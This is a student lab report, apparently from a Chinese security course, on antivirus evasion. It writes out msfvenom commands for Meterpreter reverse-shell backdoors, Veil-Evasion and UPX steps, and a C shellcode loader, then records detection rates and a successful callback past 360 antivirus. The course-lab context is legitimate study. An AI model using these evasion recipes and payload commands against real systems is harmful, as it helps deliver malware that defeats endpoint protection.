20242309 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242309 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

1.1 基础问题

(1)杀软是如何检测出恶意代码的?

杀软检测恶意代码主要有三类机制。一是特征码检测:杀软维护病毒库,把文件中的二进制片段、字符串或哈希与库中记录比对,命中就判定为恶意。二是启发式检测:不依赖固定特征,而是看代码结构、指令序列、API调用组合是否像恶意程序,用来发现未知样本。三是行为检测:程序运行时监控其行为,如批量改注册表、注入其他进程、连接可疑IP、加密大量文件等,触发规则就拦截。现在还会结合云查杀、沙箱动态分析和机器学习模型。

(2)免杀是做什么?

免杀(Anti-AntiVirus,AV evasion)是让恶意代码绕过杀软检测和拦截的技术。它通过编码、加壳、加密、混淆、行为规避等手段,改变样本的静态特征或运行行为。

(3)免杀的基本方法有哪些?

  • 特征码免杀:修改二进制内容、编码payload、加壳压缩、改特征字符串,避免与病毒库匹配。
  • 行为免杀:延迟执行、分段执行、注入合法进程、利用白名单程序,降低行为可疑度。
  • 混淆免杀:插入花指令、打乱控制流、使用复杂加密,增加静态分析难度。此外还有分离免杀、内存加载、环境检测等思路。

本次实验主要用了编码、加壳和AES加密+内存解密。

(4)开启杀软能绝对防止电脑中恶意代码吗?

不能。特征库对已知样本有效,但对零日样本和免杀样本可能失效;行为检测也可能被延迟、注入、白利用绕过;很多攻击还利用钓鱼、社会工程让用户主动执行。杀软是重要防线,但不是绝对防线,需要补丁、权限控制、网络防护和安全意识配合。

1.2 实验工具原理

  • msfvenom/编码器:msfvenom用来生成各种格式的payload;-e指定编码器,-i指定编码迭代次数,-b去掉坏字符,-f指定输出格式。x86/shikata_ga_nai是多态异或编码器,x86/unicode_mixed生成Unicode混合编码,目的是改变样本特征。
  • Veil-Evasion:payload封装框架,支持C、Python等模块。Python模块会把shellcode用AES加密,再用PyInstaller打包成exe;运行时在内存中解密执行,磁盘上不出现明文shellcode。
  • UPX:可执行文件压缩壳。它压缩程序并改变文件特征,运行时自解压;对静态特征码有一定绕过效果,但对行为监控和内存检测无效。
  • C+shellcode:把msfvenom生成的shellcode放进unsigned char数组,转换成函数指针执行。没有加密时,shellcode特征明显,容易被杀软检出。

2.实验内容

2.1 实验环境

项目 版本/说明
攻击机 Kali Linux
Metasploit 6.4.108-dev
Veil-Evasion 3.1.14
UPX 4.2.4
目标机 Windows主机
杀软 360安全卫士
检测平台 VirScan多引擎在线检测

Kali初始IP为192.168.193.128,实验中途变为192.168.193.129。

Kali初始IP

2.2 实验任务与方案

本实验分四部分:

  1. 用msfvenom生成exe、php、jar等格式的后门,使用shikata_ga_nai、unicode_mixed编码,比较VirScan检出率;
  2. 用Veil-Evasion生成C模块后门,再用UPX加壳,比较检出率;
  3. 用C语言编写shellcode loader,编译成exe并检测;
  4. 用Veil的python模块+AES生成组合免杀载荷,在开启360的Windows主机上实测回连。

方案:以实验二生成的原始后门20242309_backdoor.exe(VirScan24/48)为基线,逐项改变编码、封装、加壳方式,记录检出数;最后用360实测验证“与杀软共生”。

3.实验过程

3.1 使用msf编码器与msfvenom多格式生成

先用VirScan检测实验二的后门20242309_backdoor.exe作为基线,结果为24/48检出。

原始后门检测

使用x86/shikata_ga_nai编码一次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.193.128 LPORT=2309 -f exe > 20242309backdoor2.exe

-e选择编码器,-b去掉坏字符(\x00是shellcode的结束符,不能让它出现在payload中)。检测结果为23/48,与基线相比只少1个,变化不大。

shikata编码一次

使用x86/unicode_mixed编码12次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i 12 -b '\x00' LHOST=192.168.193.128 LPORT=2309 -f exe > 20242309backdoor3.exe

检测结果为23/48,与编码一次相同,说明单纯增加编码次数对多引擎杀软作用有限。

unicode_mixed编码

说明:早期截图中的命令写成了-i -12,msfvenom日志显示按-12 iterations处理,并未真正完成12次迭代;正确参数是-i 12,详见问题3。

生成PHP后门:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.193.128 LPORT=2309 -f raw > 20242309_backdoor_php.php

检测结果为7/48。

PHP后门检测

生成JAR后门:

msfvenom -p java/shell_reverse_tcp LHOST=192.168.193.128 LPORT=2309 -f jar > 20242309_backdoor_jar.jar

检测结果为14/48。

JAR后门检测

3.2 Veil-Evasion与UPX加壳

安装Veil前先安装Wine及32位依赖:

mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt install wine
winecfg

安装Veil:

apt-get install veil
cd /usr/share/veil/config/
vim setup.sh

把setup.sh中的GitHub下载地址替换为Gitee镜像(见问题2),然后执行安装。安装完成后启动Veil,版本为3.1.14。

Veil启动

实验过程中笔记本网络发生变化,Kali的IP从192.168.193.128变成192.168.193.129,后续payload统一使用新IP。

Kali IP变为.129

用Veil的C模块生成后门:

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.193.129
set LPORT 2309
generate

文件名输入20242309veil,生成路径为/var/lib/veil/output/compiled/20242309veil.exe。

Veil生成C模块后门

把文件移到桌面,放入VirScan检测,结果为11/48。

Veil C模块检测

将文件移到桌面:

移动文件

用UPX 4.2.4加壳:

cd /var/lib/veil/output/compiled
upx 20242309veil.exe -o 20242309_veil_upx.exe

压缩率为57.51%。

UPX加壳

检测结果为7/48,比未加壳的11/48又低了一些。

UPX加壳后检测

3.3 使用C+shellcode编程

用msfvenom生成C格式shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.193.129 LPORT=2309 -f c

生成的shellcode为354字节,C文件1518字节。

生成shellcode

编辑shellcode_c20242309.c,把shellcode放进buf数组,并加上执行代码:

unsigned char buf[] = "\xfc\xe8\x8f...";  // 省略中间字节

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

用MinGW编译:

i686-w64-mingw32-g++ shellcode_c20242309.c -o shellcode_c20242309.exe

编译C loader

把exe放入VirScan检测,结果为10/48。VirScan页面长时间显示“分析中”,截图时48个引擎已完成,其中10个检出。

C loader检测

3.4 组合应用技术实现免杀

用Veil的python模块生成AES加密的payload:

veil
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.193.129
set LPORT 2309
generate

文件名输入2309qxd,生成2309qxd.exe和2309qxd.py。

Veil python模块生成

检测结果:2309qxd.exe为13/48,源脚本2309qxd.py为6/48。

python模块exe检测

python模块源脚本检测

原理:Veil的python模块先把shellcode用AES加密,再用PyInstaller打包成exe。程序运行时在内存中解密并加载shellcode,磁盘上不出现明文shellcode,静态特征码扫描难以命中;同时它没有使用UPX这类常见壳,规避了针对壳的启发式规则。实际结果是VirScan仍有13/48检出,说明这不是通用免杀;但在目标机的360上未被检出(见3.5)。

3.5 用另一台电脑实测(360开启)

在Windows主机上用ncat接收文件:

ncat -lv 2309 > 20242309_veil_upx.exe

在Kali上传输:

nc 192.168.10.103 2309 < 20242309_veil_upx.exe

用同样的方法把shellcode_c20242309.exe和2309qxd.exe传到E:\qxd\vir。Windows主机在局域网中的地址是192.168.10.103;Kali通过VMware NAT回连时,源地址显示为NAT网关192.168.193.1。

用360安全卫士12对E:\qxd\vir下的3个文件做自定义扫描,结果2个被判定为木马并建议隔离:20242309_veil_upx.exe(Win32/Trojan.Leivion.HwsBJ1QA)和shellcode_c20242309.exe(Win32/HackTool.Meterpreter.HgIAUAcA);2309qxd.exe未被检出。

360扫描结果

在Kali上启动msf监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.193.129
set LPORT 2309
exploit

双击运行2309qxd.exe,360未拦截,msf成功回连,获得Meterpreter session,执行dir可以看到E:\qxd\vir下的文件。

msf回连成功

实验结果汇总:

文件 处理方式 VirScan检出 360实测
20242309_backdoor.exe 原始后门 24/48 未测
20242309backdoor2.exe shikata_ga_nai×1 23/48 未测
20242309backdoor3.exe unicode_mixed(命令误写-i -12) 23/48 未测
20242309_backdoor_php.php PHP payload 7/48 未测
20242309_backdoor_jar.jar JAR payload 14/48 未测
20242309veil.exe Veil C模块 11/48 未测
20242309_veil_upx.exe Veil+UPX 7/48 检出,建议隔离
shellcode_c20242309.exe C+shellcode 10/48 检出,建议隔离
2309qxd.exe Veil python+AES 13/48 未检出,回连成功
2309qxd.py Veil python源脚本 6/48 —

从表中可以看出:编码对多引擎几乎无效;换语言、加壳能降低检出率,但360仍能检出UPX和C loader;只有python+AES生成的exe在360上未被检出并成功回连。

不过需要说明的是,该exe在VirScan上仍有13/48检出,所以这是针对360的免杀成功,不是通用免杀。

4.问题及解决方案

  • 问题1:安装Veil时,Wine运行Python 3.4.4安装程序卡在“Select Destination Directory”,终端报wine32 is missing、CoMarshalInterface failed、start_rpcss failed。
  • 问题1解决方案:Kali默认只有64位Wine,而Veil依赖32位Wine。先执行sudo dpkg --add-architecture i386、sudo apt update、sudo apt install wine32 wine64,再运行Veil安装脚本。Veil已停止维护,安装脚本和新版Kali/Wine有兼容问题,必要时换用兼容的Wine版本。
  • 问题2:Veil安装脚本从GitHub下载依赖很慢,多次中断。
  • 问题2解决方案:把/usr/share/veil/config/setup.sh中的GitHub下载地址替换为Gitee镜像地址,再重新执行安装。

Veil安装卡住

5.学习感悟、思考等

本次实验先以实验二的原始后门为基线(24/48),再比较不同处理:shikata_ga_nai编码一次23/48,unicode_mixed编码23/48,PHP7/48,JAR14/48,Veil C模块11/48,UPX加壳7/48,C+shellcode10/48,Veil python+AES13/48。编码对多引擎几乎无效;换语言、加壳能降低检出率,但360仍能检出UPX和C loader;只有python+AES生成的exe在360的扫描中未被检出,双击后成功回连。

实验过程也不是很顺利:Veil安装卡在Wine和Python 3.4.4,换了虚拟机才定位到wine32缺失;Kali的IP中途从.128变成.129,payload要重新生成;VirScan分析慢,360又把UPX和C loader报毒,只有AES版活下来。这些问题让我体会到,实验记录、环境备份和逐步验证非常重要。

参考资料

posted @ 2026-10-20 16:43  未知,  阅读(8)  评论(0)    收藏  举报